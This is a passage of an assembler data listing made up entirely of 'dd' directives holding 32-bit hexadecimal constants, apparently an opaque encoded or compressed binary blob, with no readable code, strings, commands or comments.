50067FDFh, 0C0F8C2A7h, 510009B0h, 0FD577276h dd 2481B9h, 2B686B52h, 45934D74h, 0F004F537h, 0C980D005h dd 18CC9B7h, 0F96A1514h, 80A22EA7h, 2724A320h, 9062B076h dd 728701E9h, 45E88E16h, 8BCDEC61h, 40D0C551h, 553FAA94h dd 3D3A890Fh, 5C033DE3h, 908AAD34h, 79A2B1h, 0EBD68DA4h dd 0C22C3328h, 0AE838903h, 0F86A201Eh, 7055CBh, 0ECDA4E30h dd 0D1FAB7A8h, 2E169900h, 7D8E0EA6h, 95F11E15h, 0DF0780BBh dd 59CC5AA5h, 8F09CF3Bh, 684582h, 3B49B676h, 84E31E07h dd 0A30E4F0h, 0A47269h, 0D757D4E5h, 0E0002D09h, 158B39A9h dd 2C936EB2h, 0CC05C1h, 0D3A4ADFFh, 0B800D5E9h, 0AADEDC8Eh dd 14287EEh, 0C32A5D3Fh, 0D4B349A1h, 4D1F2176h, 9FC0FCF7h dd 383F8462h, 1FF027h, 0FB4C5CCEh, 5B16496Ch, 6A9E191Ch dd 0F8228A0Ah, 7E69A180h, 7A4634C2h, 59137A1Bh, 7800CC0Fh dd 0F09862BDh, 0F5172854h, 6400D8AEh, 0A575219h, 0BDD30095h dd 662F1C83h, 0A700049Bh, 3D4C12CDh, 0B6AD70h, 3327ECBAh dd 1A35E3Bh, 1EB3D703h, 0B3147CFh, 4A62E181h, 5F17F020h dd 1A027ECAh, 5393C865h, 75FCC8C3h, 3B941910h, 0E39D11CBh dd 23FB05B0h, 286AA00h, 0AF38D542h, 7C75CEh, 6EF5759Bh dd 22734F0Ah, 40AB6514h, 2DCF1434h, 0E0B30740h, 948E022Ah dd 0D8651F10h, 0BCB72F00h, 0A6827334h, 80B56020h, 0AC28B7CFh dd 482C3F54h, 0E8B50384h dd 0F02DDD2Ah, 2090DFA2h, 0B02ACD7h, 5CEE5125h, 0F88A4005h dd 751C0E16h, 0B9C18904h, 0F063BB84h, 0B00FB36h, 8184D40h dd 0F254114Fh, 0ED0E0774h, 0B0FDB94Eh, 0B032DE1Fh, 14014A72h dd 0C8838FD0h, 0EC03565h, 0AAFAD9h, 593F6CDDh, 58DBC516h dd 2172C800h, 0D20DEBBFh, 3DE7784Ah, 7100AD1Eh, 0CDC6481h dd 0CB003017h, 767912Ah, 2C78DB3Fh, 682C26h, 0BDB9761Ch dd 0EE003ADCh, 0CBDFC5C9h, 46A860h, 34F96DBEh, 28FC93E4h dd 0D14E3700h, 0B9852DEAh, 46680060h, 0F97F7DCh, 890011D7h dd 2558BA36h, 482E0E5Bh, 46039375h, 2A0614CAh, 12E083A0h dd 0FC574A07h, 0E6A44E70h, 7B82F4A0h, 80B009Ch, 596591F2h dd 0D300CF64h, 0E68997Fh, 0EE2B03CDh, 1CC75B5h, 5482E4A8h dd 0D8331496h, 9C00424Ah, 87F5B3B9h, 20D43E61h, 8A098D08h dd 454EFE2Dh, 671A00E8h, 64A95A45h, 0F7BD3D00h, 665725A0h dd 5D4F03AAh, 11D3A73h, 56832800h, 611B9B8h, 93D70794h dd 900EFDFEh, 0F0868E96h, 872EFF00h, 0BD8DC332h, 0FADD04B4h dd 0C0E72039h, 6A66A754h, 0AFACAA00h, 4B91A64h, 63770113h dd 0C78CDE37h, 1116C8BFh, 93D94600h, 2556D17Ah, 94E300C4h dd 90306C6h, 3A0AADD4h, 9F4F47F8h, 1A006D2Ch, 192B8C5Eh dd 0F88048A7h, 0FC956001h, 60273947h, 9416E22Bh, 1400E7BFh dd 92D81F68h, 8F0A0529h, 0D0C56673h, 55F0E67Ch, 0E210450Bh dd 0A7ACA1EEh, 43EC5CF8h, 1CBC093Dh, 8C202C30h, 3AE94633h dd 7E5F2701h, 70B787A2h, 0F382C30h, 6E0A7A8Fh, 4A6CB812h dd 4082408h, 0D381E382h, 0B0970E4Ch, 0C6AB596Ch, 63055BFCh dd 3479A6B2h, 0D0067C80h, 0B7810BEAh, 807774FDh, 3DAF4A4Fh dd 48101E80h, 8069DE03h, 0BC721523h, 0EC0C4DC4h, 0DAF14AE2h dd 0DE8000CDh, 610637B3h, 8100DB3Ch, 0BE3F8820h, 0C4A7DB1h dd 0C022C33Dh, 0ED004F91h, 55B94E0h, 99BDA9h, 0DE9AE2E7h dd 8DEF3297h, 0BC1B4Dh, 0FAC7D3CCh, 14035C69h, 980838BDh dd 32B917h, 0CE74A7A8h, 0ED0A3399h, 9CE4CCE9h, 4280AB9Ch dd 0C2FD6760h, 6D840059h, 0EB0F0D36h, 5501FE31h, 8AD74FF9h dd 8171982Eh, 73845983h, 0A97D2F61h, 36C4DD00h, 4C0A66D1h dd 576B0055h, 9B54CD82h, 8500DAC8h, 2A3A3E27h, 0E55A9Ch dd 46CC2F41h, 4B5CDC6h, 0BD0AB2E2h, 0E888EF1Ch, 1D698683h dd 7482A043h, 3E00927Fh, 0A083F3F2h, 3A7DB9ABh, 2A5C70D0h dd 0D89589C0h, 7577C1h, 1F816943h, 3347025Eh, 0B7A12106h dd 49E419h, 28224E65h, 0E1E52073h, 0F5B95000h, 5296332Dh dd 0F1230018h, 0D6FB6D99h, 0A100B3C6h, 0B17AE41Bh, 0F9A975h dd 91124CC7h, 355E692h, 0F2DAD100h, 16FA19B9h, 99F50F9Fh dd 40604913h, 76334B5Dh, 7C31AB00h, 0BC415EFBh, 0D8F00CCh dd 0DAFF474Dh, 0DE7CFA45h, 919BF60h, 604A53EBh, 0D74811C1h dd 0DF002C06h, 4ED6FEAAh, 52A40EEh, 33E9EBAFh, 0C9E85C82h dd 0D4C04B4Fh, 1824C5CEh, 0C244E017h, 0A918C0FEh, 51589F5Eh dd 794000F7h, 0B0997889h, 3A530E27h, 0FEC22829h, 5CE0F5BBh dd 1F82E72h, 48C2C600h, 699283A5h, 177E7324h, 16CDE17h dd 0E65553A8h, 806DCD08h, 0EE862E10h, 0B444FFh, 0C7A90392h dd 4963076h, 0D484F61Ch, 5A0098E8h, 14AB5426h, 0F7B883Eh dd 3483084Ch, 9619D60h, 0CD007189h, 1A30C0EAh, 997B6Eh dd 9A81B66Fh, 727F07CFh, 765BD307h, 843AFDF8h, 8500E093h dd 0CB74605Dh, 0AFA600D2h, 681BB5FEh, 0EF3A169Dh, 90C7AA1Eh dd 0B3EE4900h, 419A7DA2h, 0E5E4ABh, 12C45927h, 0ADE1CCDCh dd 0A58CE000h, 16CF08E2h, 5FDA00A4h, 0EAA1576Dh, 70029EDh dd 37EFD631h, 7A1E1035h, 0BD56006Bh, 17DB87B6h, 0AB312620h dd 0C02F3076h, 1BEF6D0h, 23C4D670h, 0F7E66057h, 7B442100h dd 849BF472h, 2AD80FF7h, 45637FC1h, 198925Bh, 0FF0AC5EAh dd 0FC75F3D7h, 0F8BD6C80h, 0CA26C9h, 4BA2ED1Fh, 0B0E378C3h dd 800A2C12h, 0BB519020h, 0E011D339h, 0F90F50CAh, 1D4869h dd 0B10F6F7Ah, 3CED48FCh, 59870671h, 682D1C68h, 6003F76h dd 4CDFA9D1h, 0F49CFh, 45A65086h, 8E4320A7h, 0DC116900h dd 6331A09Bh, 0E3A103CEh, 0FE7C798Ch, 3F8825FBh, 9907CDE9h dd 0EE3194DFh, 0BB4823F0h, 0A77B586Fh, 54D22B00h, 0C5DAE85h dd 696C9B00h, 0FB90371Fh, 1303022Fh, 0D2EF87E2h, 0AC405A62h dd 0AE0036D1h, 0E62270C6h, 874212h, 0BA045383h, 0F0B0E564h dd 0C5F7EC00h, 43087BA0h, 7EC800E6h, 5D25B29Bh, 0E401D822h dd 75FCB6F5h, 0BEE81B9Ah, 0BCD00069h, 671F7678h, 0A8018611h dd 4609CDDEh, 837016E2h, 0D3F904E8h, 0C36095DDh, 0EEC04DF3h dd 4C3E9115h, 8F9BB842h, 20518E61h, 0CA0C704h, 0B02E00FDh dd 0E2672269h, 0FC717D73h, 288F241Dh, 0A3098E80h, 39CE6972h dd 738085EDh, 126698B1h, 0A40058F9h, 0A6F17BC7h, 0C017B9D3h dd 0C064B211h, 787E0947h, 8E004BF2h, 2D75805h, 0ECD818h dd 5C54B3ACh, 0DCCB0450h, 8092D039h, 902631BEh, 742B602h dd 2A0FBCE0h, 7F514055h, 4A005E76h, 97ECFB1Eh, 3C01CC0Ch dd 368006F8h, 78956F7Eh, 8A0753C4h, 0D8F2C63Ah, 0A6C035F5h dd 29FC791h, 0B4A5D9DDh, 0EC683476h, 0D6007FCDh, 1C48397Dh dd 9504F4Dh, 0CF8C8A43h, 0C0D588C3h, 61CA7908h, 80031C3Ch dd 9E6AA3E9h, 332C71h, 0B4B20B28h, 183D8EA5h, 0BC012209h dd 9C455Dh, 7F3130CDh, 0C81D6582h, 0D4061274h, 3E2061ACh dd 0DF3E4A75h, 7001EB0Bh, 7D82FCAFh, 0AC4884D3h, 0DF0EF908h dd 81E90A62h, 0A61C9206h, 6DD8E0h, 0A9D0882Ah, 0FFE046EDh dd 64C67601h, 0C471940Bh, 65B74083h, 68007B10h, 0A68C730h dd 3C1CE77h, 51C634C8h, 0CDE01075h, 73603145h, 0D874E628h dd 48775401h, 0E0FA86F8h, 0C62A6200h, 3A404703h, 0F99D00F0h dd 873C9AEFh, 51004131h, 188D2221h, 10B6A8h, 302D6BFEh dd 5CC67E62h, 3AC9FC13h, 0AECB1300h, 0B7A635h, 7FE0A798h dd 976ED3C6h, 0ED61358h, 80CFEC88h, 2CC06775h, 0C3190761h dd 906F866Eh, 0C70566CCh, 6A706200h, 65928B40h, 6278972Ch dd 0A9435100h, 0A6020650h, 0CF82002Dh, 0BC4A30B2h, 8600CA83h dd 0E7E96DE2h, 0FAD8FC5h, 3077AAB1h, 4ADDAEA0h, 9F183B07h dd 0A92019BAh, 0A79100B8h, 75D4E945h, 0CF009466h, 0CE161FDDh dd 543CA0h, 6178B1AAh, 7997D4F8h, 22A62D0Fh, 0DF81A1FEh dd 0C244D13h, 71DE032Eh, 10ADB7C9h, 98C5CF81h, 8B212308h dd 0CA7107D6h, 0B7B30E7Ch, 0F73E0063h, 4E03012Bh, 0AC25CE09h dd 0AF675h, 0B04838F3h, 368C4F05h, 48609830h, 0A886B5F7h dd 0F2ABA7DCh, 0E5B60C7Ch, 9B693914h, 8D18130Eh, 0C346602Bh dd 183405F9h, 3987350Ch, 69E8BA81h, 11322937h, 0E00DC7F0h dd 2AA806B3h, 8C0AB85h, 0F5211F60h, 0F40DCEh, 12049E22h dd 0F65125B6h, 58DF2F30h, 0C63A721Dh, 698FD781h, 77B41912h dd 2B9CE000h, 727347BAh, 5EAC03D9h, 701651C8h, 90C840FEh dd 0DC3C07Dh, 0C846B3DCh, 0F1072622h, 0BC200DCAh, 0C806B540h dd 1024A3D6h, 0EA4858h, 34D53C99h, 0FE677A2h, 3901CA95h dd 728A9060h, 8BECB7E0h, 41ED861Ch, 4E9ADE80h, 222E16h dd 23639DD1h, 3545F252h, 1DDAAA07h, 2400ED02h, 537308h dd 0D1011C59h, 1FEEB16Ch, 38B7DD00h, 8A3745FCh, 3E7108h dd 6AEBE32Bh, 62D92D7h dd 5E0063F6h, 7E044B94h, 158D01h, 0D4F8B28h, 0D4736156h dd 0CF956000h, 4ABC5176h, 0E53B0074h, 0AA5B04D1h, 3F00DFFCh dd 0B54435F0h, 9AA541h, 7BF5E8DBh, 0E41F3E1Bh, 11EE93Dh dd 8D48C40Bh, 0B3C4961Dh, 0FE41FAE3h, 4AB501F6h, 0EA7E6D17h dd 15CBFC4Dh, 1B00C6E0h, 6E85A366h, 415EF0h, 8FD418B2h dd 719CD5FDh, 74707C0Bh, 2BE180C6h, 0DE4191h, 121F920Fh dd 8C941D5Fh, 1708D200h, 302BD68h, 91E001B2h, 69A9D543h dd 0F380DF39h, 5000FCB4h, 8FF67507h, 995517h, 45844FCFh dd 828C0983h, 7503107Ch, 0B4ED6405h, 0B95B90ABh, 7F6F03C2h dd 3C139E3Fh, 2576100h, 2EE14636h, 9808C319h, 1DC0A8F5h dd 174CACD6h, 8A3874DEh, 388580FAh, 895CCC99h, 86F40Dh dd 0F0A854D5h, 0CE7C55D1h, 6EFA3076h, 0EF884C60h, 35026Ah dd 3623D43Bh, 0BF6371CBh, 0C2545107h, 17B0D06Eh, 0D11B3Ah dd 5850FD3Bh, 0A41F3D7Dh, 6F78F800h, 61C015EFh, 0D9772690h dd 78E00D6h, 18A42C23h, 2D63AB00h, 7365382Fh, 20220074h dd 346B87DDh, 3D54A194h, 4877F588h, 0C9024601h, 20D19CEDh dd 0C162430h, 0E93329A7h, 8A00B138h, 71ACEAEBh, 0D86F2Ah dd 0B67FEDCFh, 4396F25Eh, 232098C0h, 0FFC1C3h, 0D1D6B4A6h dd 269491Dh, 0EEEE8F7Ch, 8755F500h, 0CE78E672h, 0C184004Ch dd 0E0B1BC0Eh, 21308070h, 6C8A70FBh, 0D18E00CCh, 6E6D16A5h dd 0E7009C25h, 7A0F81F0h, 1C9B4CFCh, 3CE90EC8h, 0F61D6400h dd 2A75E87Eh, 874A2205h, 0E4003398h, 0BE215723h, 3DF0C039h dd 0F6E7A8C8h, 0C703C671h, 0E2790B38h, 0DB7E90EAh, 4285021Bh dd 0A1B10ED4h, 2502B981h, 0E051600Ah, 0FFA89300h, 7C130D59h dd 69EE0056h, 570140FDh, 0E0754783h, 84199400h, 909C1F5Dh dd 4BD801DEh, 0E8E5EFF5h, 8114DD7Eh, 0B24E6388h, 0F085AFB3h dd 803F9EC8h, 84C9E5CDh, 5FF78600h, 7E7C7529h, 1009060h dd 0E362E7D0h, 50C570F2h, 5AE505B8h, 0DA36A500h, 6C4CD45Ch dd 0AF7502BEh, 6F6DFA5Bh, 97F4FCA4h, 7CA32F10h, 0F0EFEC58h dd 59C60861h, 0E2247892h, 0C2AD427h, 1EF73000h, 0FD6D0B2Ah dd 0C0774Bh, 982447FEh, 5B8A04E3h, 0AA4F0800h, 0FC5AB9E7h dd 0F1760093h, 0FA3C1D71h, 7D0ADBCDh, 83F25F4Bh, 0E5B01E18h dd 9ACC80E4h, 8B5B3401h, 0B672BEBCh, 0F09B9EECh, 4EE2013Ch dd 0F6138CADh, 7207C073h, 0CF77E300h, 0EEB3F826h, 0C23C00EFh dd 0F1E3ADDh, 520114C1h, 78B60AD6h, 0B2DCE425h, 0DBD03DA5h dd 0BA534100h, 0EB73F12Bh, 0F2263490h, 9A0FA6BEh, 89F720FAh dd 7F577Eh, 384A790Eh, 927A4BD5h, 0C5F9C02h, 6820A5BBh dd 72C180h, 0D7FE0978h, 6A6EAE88h, 0E123C500h, 82AF9D3Bh dd 0FC60F1B2h, 49757FA2h, 1B05C49Eh, 400FC06Bh, 0B84E8CB4h dd 0FB395429h, 66942C72h, 7C1C803Ah, 6670BCFDh, 90230140h dd 4DEE3380h, 5F5860C0h, 7B9FAD5Ch, 0C2984300h, 7923960h dd 4869039Ch, 1715AC3Dh, 3B14BDD8h, 0F304D500h, 0B327F275h dd 58F00E7h, 0E0D24157h, 0C3006583h, 28BEE645h, 9916B9h dd 5BC10C97h, 31D9FA25h, 0B088F62Eh, 0FF83A001h, 0FF17E79h dd 0C8DACCh, 2C7A37D5h, 9704FC21h, 5CF3A600h, 0A317E890h dd 889E074Eh, 409F7156h, 0A5FB27E6h, 4FE6000h, 0C1994376h dd 1033130Fh, 0E0684045h, 64625078h, 0C94EC002h, 4121CD0Bh dd 86E4555Ch, 766F00F6h, 0EAA6A995h, 457883D6h, 7882A700h dd 9D18A8DDh, 3B87C6Bh, 78B5789h, 0C8F0A24Ah, 98002A61h dd 0C715E8EFh, 0B0372132h, 24E600D2h, 0F6DA3F7Eh, 0AF077020h dd 634942CCh, 0CECDCA20h, 0D63E04C4h, 80FD9291h, 457822AEh dd 1EAEC800h, 1BA2BB09h, 0AF610316h, 44FF6991h, 84EEF2F0h dd 6E091D00h, 0E68ED203h, 0EBB13CDCh, 1FD624F0h, 63990024h dd 0C3AB58EDh, 85C97C02h, 481C1265h, 5E1ABCh, 98780757h dd 0EED9E2CFh, 67C6230Eh, 42CB80F8h, 74CA3FEh, 0D4B5D78h dd 0AA033983h, 2100FF70h, 92515E7Ch, 0E2FE4543h, 3CBB3B2Bh dd 0CF5D2280h, 74534D01h, 0FDE87801h, 89A82875h, 0CF1CC450h dd 0BC3E3E11h, 81B101F9h, 6A65B578h, 3653E89Ah, 0E9352Eh dd 0F3112680h, 44D7F4h, 0BAEC1DE6h, 92DE2103h, 52EB0A0h dd 0D307D0B0h, 0F135EB26h, 8D61C5F0h, 859600A6h, 2102FA7Fh dd 0DDFCAF18h, 0CA48D560h, 0EC6855h, 3A24C484h, 0CE28B167h dd 3E10400h, 0C91CD3EBh, 7FFA9Fh, 0DE5615BAh, 824F0729h dd 0C514CD00h, 0B4BEF08Eh, 0ECE84Ah, 0CAAC834Dh, 65874ED0h dd 2BE16B07h, 32D02289h, 0F7DFB2Dh, 869A105Ah, 0BFE83C03h dd 78DDE590h, 77AA0D00h, 0DB56D24Dh, 0B3610E34h, 864064C4h dd 1337C7F4h, 0E4FAD000h, 699A948Ah, 491E0006h, 48AE6E6Bh dd 840062F5h, 0D7E63D9Ch, 26BAA47Ah, 0D6C7DBh, 0C4E7A08Bh dd 6A0EF1F9h, 0A2F3FF61h, 40763B3Eh, 2C86BE9Ch, 8B9019FAh dd 0B980D521h, 94F0B94Fh, 0AC9BA900h, 0B30B1D03h, 92A01777h dd 0CB400086h, 202D885Bh, 0AA008FEEh, 0EFF9AE9Dh, 11889CDh dd 3CA9E825h, 0E9B52BF1h, 0A448201Dh, 0A3C22D00h, 1638CCC6h dd 0D4490084h, 5FCF0FACh, 4E758B31h, 0B1F2A700h, 3A7A8076h dd 0A2F71DDFh, 2C8EC0A4h, 9902FE27h, 886EA603h, 80C54D57h dd 1660DFh, 0BD4CAC20h, 0F95C99FCh, 0B1256F04h, 0BFC07833h dd 0EB70CBCh, 0A528688Ch, 0CB9FDE20h, 2324C71Ch, 0D1D0910h dd 961CC026h, 84E5FC03h, 0F8110027h, 86C6EDFBh, 1D0E2C3Bh dd 0DC099ED4h, 53010E00h, 7F9F46h, 0EA5B924Bh, 20DC4C66h dd 2197F0C0h, 3C1C253Bh, 50601B22h, 41B42362h, 80BC69C9h dd 0ADD9A850h, 9070E5h, 465B2517h, 0FC8F4807h, 0F2809760h dd 509FC395h, 2A9E2482h, 17AC1C63h, 0E3B1999h, 909911B0h dd 0F6144081h, 55000DB9h, 27E83704h, 0B0EC8A5Ah, 0A570B6h dd 0B109E925h, 3673C7B8h, 0DBA3E0C0h, 0B560FF3Eh, 0F39CD1C0h dd 3500B198h, 4178ADB0h, 0E799087h, 84D3F1DEh, 545C5100h dd 570077A8h, 676C9D55h, 72D1F53h, 0BB3B7021h, 3882C0B8h dd 0C9397579h, 9526041Eh, 2CC7507Fh, 92150FB0h, 52663D98h dd 8800553Dh, 6EE7D10Ah, 31000736h, 3996EA8Dh, 17CDB04Fh dd 1E6F6394h, 14CC0A15h, 0C9E98084h, 0CD899CD8h, 0FC00127Fh dd 9FA9252Fh, 7803984h, 4E673427h, 649E3095h, 18B8CD6Ah dd 0B30296F4h, 67825F0h, 49C809Bh, 3C953FF4h, 180097F7h dd 1DC1549Eh, 0F8F90983h, 0A1007F13h, 0C98CF9BCh, 15447519h dd 0BC21AA11h, 95DA6F00h, 0AE257E85h, 58DD5600h, 0B1E7B4Eh dd 9DEB004Fh, 0E8E2C3CAh, 540D95A3h, 0C90CCC71h, 0C2DAFCh dd 9FA64B37h, 9363B439h, 0F05C2200h, 0C0C1A779h, 41CD0359h dd 19CC1FAFh, 0EA38390Eh, 3000D3ADh, 8369976Eh, 0B8230166h dd 18659E41h, 51E0CC8Fh, 0E99A2F32h, 7488811Fh, 1C64F3F6h dd 49CB00ACh, 8A0E2351h, 0D7A0CE45h, 8B1C55C1h, 541271Bh dd 162A14ADh, 0AF117989h, 677D3810h, 0F64F1505h, 0A400A0DBh dd 0CB028C46h, 6CFD1E1Ah, 3CCF809Bh, 0ACC3975Ah, 422EDF07h dd 18814638h, 7BE0DC96h, 399E7B81h, 28007EF1h, 0D204BA4Dh dd 0A407CDD3h, 0A5C56C2Eh, 37F6043h, 3D0AC20h, 17D8499Bh dd 460069F5h, 83EC1342h, 7CC8C3h, 0EEC2F181h, 0ED3CE8D0h dd 0B0858C0h, 6A37742h, 0BDC565A1h, 146008B2h, 42A2FA21h dd 81F500D7h, 0EC45BEA7h dd 0F8B8517Fh, 0AE083806h, 0CEB08F54h, 0A0A12831h, 0E0138771h dd 5119DF12h, 0CB78C384h, 42080A18h, 0C409A38Ch, 0A1FF4021h dd 2534842h, 9EF04C26h, 8C938430h, 6B881010h, 0FC41DA0Eh dd 0E7BEB647h, 1A66F1A2h, 0F7BBDC60h, 7AFF1100h, 0EA3D2D8Eh dd 0E5340007h, 0F291AA50h, 3105DC20h, 2FC37FC4h, 7FAE101Eh dd 84B97400h, 3E865C12h, 0BA003269h, 394D0D90h, 5838D053h dd 10D7300Ah, 3824869h, 550806ECh, 18865CAAh, 34002278h dd 0B8A0EA37h, 1D1F12ECh, 0BDB6EE27h, 8529118Fh, 0CB56F9C0h dd 81CE412Ah, 74E2E0B4h, 1C0FCAA4h, 40886676h, 7DC1F3E1h dd 0FE00B68Fh, 0ED5A2AD4h, 0B2387h, 4AF85B68h, 0B26AC89Bh dd 0EF1D983Bh, 186E8098h, 0E3AB5E7h, 0CA1FF5BFh, 3F93B3Fh dd 951CA0B6h, 0A90C13DFh, 0FA5A5568h, 0BDBA3D81h, 0CF6DDA00h dd 9C7E0945h, 3E82A106h, 3A310CBEh, 8CBCD970h, 0D0B4A907h dd 0D12E107Dh, 0CB059D06h, 2F03B6D2h, 5D46C00h, 0F816C38Fh dd 0FC800375h, 89FE1C13h, 0D41A09A1h, 35001751h, 0C6CC81E5h dd 1DE00529h, 0C16C37F2h, 974340A8h, 0DE1080F3h, 27C76952h dd 2E7A061Dh, 88277CBh, 203E6A30h, 0C77137h, 23C262CEh dd 0F2F4478h, 3E51CC60h, 1797B4AEh, 6421D40h, 382E847Ah dd 7F96F218h, 0E63708h, 0DC721154h, 706FFE10h, 0CA3E53Ah dd 6958227Bh, 6149F642h, 0FB5059B7h, 21BC480h, 0CE449E03h dd 5E9967h, 9AF82851h, 41C0806Fh, 681CAE00h, 83D4DCADh dd 0EDCF036Bh, 38C17CA4h, 2EDAD800h, 4A67F419h, 7E61C0CAh dd 383AFCACh, 8E62500Ch, 6C67095Fh, 37420F4h, 364D13Fh dd 3C66F1FAh, 6AD93C3Fh, 0ECF8302h, 0A884CC80h, 0C76B6041h dd 6A1D2311h, 3DDB08h, 0D8C77335h, 7D3B7183h, 68278064h dd 82F6FE2h, 18A1D3D0h, 8B2951D4h, 42ABDA0Eh, 92A560C4h dd 0E8DB34F9h, 0A990015h, 9F11429h, 5164904Dh, 866065E8h dd 38235503h, 661180h, 3CFC9E8Ch, 864EC02h, 38059812h dd 666D1630h, 2C6900A5h, 49098435h, 2403B832h, 0BC228B25h dd 3B53B8B5h, 0F9DE068Eh, 78DFDCBBh, 3E44B52h, 595FF6D0h dd 0B530F004h, 0F444508Fh, 6E81C0A4h, 36FC72D8h, 0A20DE800h dd 2D2F74E4h, 0CEF607D9h, 0B3949142h, 8406F7Bh, 6701AAE8h dd 187052E9h, 2A23C72h, 54D700CCh, 3EB9890Ah, 0BF33106Bh dd 124084Eh, 0A1C7521h, 20C93694h, 5A0407B6h, 0E2D9CD9h dd 50DB9088h, 0CFD81Dh, 27418092h, 50D34AADh, 0CA51F8E3h dd 7B5D8300h, 721A9CB9h, 1F40A43Dh, 88860A4Bh, 74586AF6h dd 960A0053h, 905EAFD4h, 887A91B2h, 5C15BB0Ah, 1805A47Ch dd 0E06071F4h, 0E238FCAAh, 0DE6342A0h, 9E0342C0h, 7298F62Dh dd 3E602063h, 0C2D97C00h, 91045ECCh, 0E1F2CAh, 61F7A87h dd 0BA391AD6h, 1CEBDB00h, 8BCE7E66h, 96A9C431h, 0A4B49086h dd 0AB00D721h, 4AF1B152h, 22E299Fh, 0C4D3FFB4h, 804F692Dh dd 0E2CE5A40h, 0E97B1C99h, 460584EEh, 870C8C1Eh, 503C58h dd 5138478Ah, 0BBD995h, 469498B3h, 531760A8h, 470010E6h dd 0AC3851A1h, 18DEC8C7h, 0C1879793h, 0B300138Ch, 6302E91Fh dd 748AF342h, 21796070h, 27B33C4Fh, 9BA83500h, 21FA4DFFh dd 0A148C864h, 19B315C0h, 703221E9h, 4D035891h, 52EFB326h dd 50323DA1h, 0E48F12A4h, 9B2C6300h, 0A47EF056h, 0E71007FEh dd 0E0C89D61h, 0B51B4050h, 9B44CD05h, 3C2BCA36h, 3A007923h dd 0A0ACDD9Fh, 62930C3Fh, 1920CC89h, 27799091h, 76006618h dd 48C20EC3h, 9A9C3781h, 0B4F91808h, 404C7970h, 42F9CC72h dd 4F309134h, 0BAAA110Ah, 80338856h, 230A1780h, 0A35549DAh dd 0EF141F8h, 6EAB2076h, 0E8B7051Fh, 443F35C2h, 484499h dd 0E6FB5FBEh, 7C66A33Ah, 3E23248h, 75CE575Ch, 1E611C3Eh dd 0BBF78487h, 3A48D41Dh, 45F23ACh, 0C3B2790Dh, 1909716Ch dd 9091225Bh, 65498700h, 8B18C18Bh, 0E07DC830h, 52BD887Ch dd 0E91B2D07h, 84A92251h, 3860902Ch, 0BA29AD0Ah, 81C0A81Eh dd 52A0A40h, 0F73F5A22h, 4CBC88B9h, 3EA9CE06h, 0F879247Ch dd 0CE89097h, 8EC1F9C7h, 602EE29h, 0CE519173h, 30084472h dd 0B0218096h, 0BD0042F8h, 0C096B77h, 4C79F5h, 483CE590h dd 3ACA3BA5h, 1C0990B1h, 6437C8h, 0F5C9A7D9h, 0C61CE162h dd 0CC2627FBh, 34C2B244h, 0C7683042h, 721D2817h, 405C38h dd 15EC770h, 0F6EB8E1Fh, 8C78AC29h, 4930981Eh, 0E16825h dd 69BAF340h, 28767866h, 62BE9503h, 0C0C45FECh, 4C7B4004h dd 7BE830FEh, 2CDD008Ch, 676E747Ch, 79CFF798h, 8746EEBDh dd 0C9104944h, 1DC5AD69h, 928E533h, 0AC041F22h, 0A39608Fh dd 46BA23ACh, 7E002B11h, 737C0A41h, 88057655h, 2C449BCAh dd 2C88DC85h, 0AF7424h, 8E484AA8h, 0E63FD705h, 8075C63Bh dd 797C99CAh, 0FC047AADh, 4C851336h, 0B900210Fh, 42BF1071h dd 498B18C5h, 241E59B8h, 4483E200h, 88865094h, 9841E57Bh dd 0D9642h, 8AE968F4h, 2CC0A499h, 4C3DB38Fh, 0BF9F0C4Bh dd 64B7E780h, 0C44F6315h, 29853439h, 9203A408h, 2E10628h dd 0A2953E89h, 1847C81Fh, 5B606D44h, 0B40129A4h, 0A904208Ch dd 418E88CEh, 0D4017F2h, 3FCBBB40h, 0FDAE0102h, 0C9319666h dd 0AD186EDCh, 0DD39FC2Ch, 7BC40024h, 3459F40h, 79001A13h dd 25B20A5h, 64427436h, 45CFD01Eh, 0C0409B97h, 0CED183C4h dd 0E3F500A5h, 8F98616Eh, 1A48C8E1h, 8C2ABC14h, 830EE700h dd 4FCFF6D2h, 592509B3h, 78B0C232h, 8430CE74h, 0BD923941h dd 0F862E5D4h, 0C3E58F1h, 298022Ah, 36997213h, 50884C61h dd 5C21EC2Ch, 0B851A32Bh, 0DFEA2C04h, 0B81B00C8h, 13B46F8h dd 0B9880A55h, 400C6AE6h, 11D8288h, 0BA07530Ah, 0EA2CF74Bh dd 975CF052h, 62548094h, 0A3F014h, 83467DFCh, 9CBECC36h dd 8005D53Ah, 93A2E3B9h, 482E7BF5h, 1F232CB7h, 13CF1D07h dd 80381A35h, 0C7650043h, 0D7EF2F5Dh, 0E1006419h, 37125F4Bh dd 2AF72753h, 12B86F4Fh, 8BB2D470h, 0C040C82Ch, 211766F0h dd 0B71E8C00h, 790E89E9h, 9794263Fh, 0BFD44048h, 0F81CFCDDh dd 0E700E9F0h, 5BCC19D5h, 16C6019Ah, 6722D3B4h, 2411CD7Bh dd 0C339BC3Ch, 0A14012B2h, 0C045E808h, 0E965B329h, 5D221246h dd 0B33A311Eh, 0D6D4F9C0h, 301EFF89h, 0C0B93B3Dh, 900ABC1h dd 166F3A4Ch, 18D48115h, 41859953h, 6000A1EEh, 0AB1E89DAh dd 4DD48FDh, 0A57BF8FBh, 86208879h, 14B94924h, 2D39AEBEh dd 0C012F80Eh, 0C0A61C70h, 0FBE9015Fh, 0FCBDF114h, 0B6F5F46Eh dd 0F6041678h, 0A2490C76h, 28850C90h, 1354EA0Eh, 43718Eh dd 21EDE2EEh, 774150Bh, 94403C4Ah, 0B769A103h, 2AF0381Ch dd 0DF0CF980h, 9C833BDAh, 44719900h, 4C4DA62Dh, 0CCCB0F28h dd 2F407232h, 14450DFDh, 0D55EB300h, 0E80BF263h, 0FC49488Ah dd 6DC85180h, 0A20F8C2Ch, 40F4649Ah, 2F899084h, 2278052Bh dd 41579BC3h, 0D08DB594h, 94B0F8C4h, 0F9591F01h, 0E652DD92h dd 30ACB7DCh, 0A6C03186h, 846099E8h, 0A1EF9D39h, 6E180E4Ch dd 0ADE54D50h, 61B10025h, 2D5AFCF7h, 0C3977500h, 7B9588B4h dd 6C6C495Fh, 22ACF917h, 0DC524B10h, 0F50020B0h, 0DF761094h dd 1D27AE5Bh, 40AFE4D3h, 0DBF0B0B4h, 0E3E662C0h, 8AF4ED3Bh dd 0F88DBAF9h, 6A3B5F40h, 0CE2234AEh, 0FB428128h, 0D29071B5h dd 45031851h, 901DD3E5h dd 8DAA78h, 0DD4B6746h, 0F6DB1F5Fh, 997D700Ch, 72965981h dd 1DACF2B9h, 3C2EF7h, 5E61EEA8h, 773A65B0h, 49FF80D2h dd 